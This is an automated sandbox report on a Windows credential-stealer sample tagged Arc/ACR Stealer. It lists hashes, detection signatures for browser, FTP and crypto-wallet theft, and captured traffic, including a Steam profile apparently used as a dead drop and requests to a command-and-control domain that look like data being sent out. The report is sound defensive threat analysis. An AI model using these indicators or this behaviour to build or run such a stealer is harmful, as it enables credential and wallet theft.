Edit tour

Windows Analysis Report
Gj8P0mbklo.exe

Overview

General Information

Sample name:	Gj8P0mbklo.exe renamed because original name is a hash value
Original sample name:	f7d15a3027d3a430511630c91898c72b91b5fb42bf99315cc5a5ef009a473835.exe
Analysis ID:	1436772
MD5:	bad3fa5127efcc9c678c5d71fce0d0b2
SHA1:	c5f49dd54b71eaf4e1ba3a9fdfc51c7fb8afbea8
SHA256:	f7d15a3027d3a430511630c91898c72b91b5fb42bf99315cc5a5ef009a473835
Tags:	ACRStealerexe
Infos:

Detection

Arc Stealer

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Arc Stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Gj8P0mbklo.exe (PID: 6256 cmdline: "C:\Users\user\Desktop\Gj8P0mbklo.exe" MD5: BAD3FA5127EFCC9C678C5D71FCE0D0B2)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Gj8P0mbklo.exe PID: 6256	JoeSecurity_ArcStealer	Yara detected Arc Stealer	Joe Security
Process Memory Space: Gj8P0mbklo.exe PID: 6256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Gj8P0mbklo.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Gj8P0mbklo.exe	ReversingLabs: Detection: 57%
Source: Gj8P0mbklo.exe	Virustotal: Detection: 61%			Perma Link

Machine Learning detection for sample

Source: Gj8P0mbklo.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00356F10 Concurrency::cancel_current_task,lstrlenA,GetProcessHeap,HeapAlloc,CryptUnprotectData,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetFileAttributesA,GetFileAttributesA,GetFileAttributesA,

0_2_00356F10

Source: Gj8P0mbklo.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP

Source: unknown	HTTPS traffic detected: 23.61.62.148:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.203:443 -> 192.168.2.6:49700 version: TLS 1.2

Source: Gj8P0mbklo.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003701C0 FindFirstFileA,PathMatchSpecA,	0_2_003701C0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0035CE40 FindFirstFileA,FindNextFileA,Sleep,	0_2_0035CE40
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00389AFB FindFirstFileExW,	0_2_00389AFB

Source: Joe Sandbox View

IP Address: 23.61.62.148 23.61.62.148

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_0036F560 InternetOpenUrlA,Sleep,InternetReadFile,InternetReadFile,

0_2_0036F560

Source: global traffic	HTTP traffic detected: GET /profiles/76561199609719039 HTTP/1.1User-Agent: MyApp/1.0Host: steamcommunity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ujs/89737b57-777d-400d-bb7f-77b7e024920e HTTP/1.1User-Agent: MyApp/1.0Host: dervinko.bizCache-Control: no-cache

Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: dervinko.biz

Source: unknown

HTTP traffic detected: POST /Up HTTP/1.1Content-Type: application/octet-stream; boundary=----User-Agent: MyApp/1.0Host: dervinko.bizContent-Length: 341Cache-Control: no-cache

Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8ABA&a
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=roSu8uqw
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=_Vry
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=KyfgrihL0xta&l=e
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000002.2152864496.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2098131315.00000000050CE000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2098197482.00000000050CE000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2108525906.00000000050C8000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2108951092.00000000050CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up
Source: Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/b
Source: Gj8P0mbklo.exe, 00000000.00000003.2145448565.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000002.2152864496.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/b/
Source: Gj8P0mbklo.exe, 00000000.00000003.2151751922.000000000509F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151712465.0000000005090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/bAW
Source: Gj8P0mbklo.exe, 00000000.00000003.2108951092.00000000050CE000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/bLocal
Source: Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/b_
Source: Gj8P0mbklo.exe, 00000000.00000003.2151712465.00000000050CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/bistAndAuditAlarmByHandle
Source: Gj8P0mbklo.exe, 00000000.00000003.2145426350.00000000050CE000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2145176778.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/bistAndAuditAlarmByHandleerta
Source: Gj8P0mbklo.exe, 00000000.00000003.2151751922.000000000509F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151712465.0000000005090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/Up/byDllc
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/nd-point:b
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/q
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.000000000274E000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dervinko.biz/ujs/89737b57-777d-400d-bb7f-77b7e024920e
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
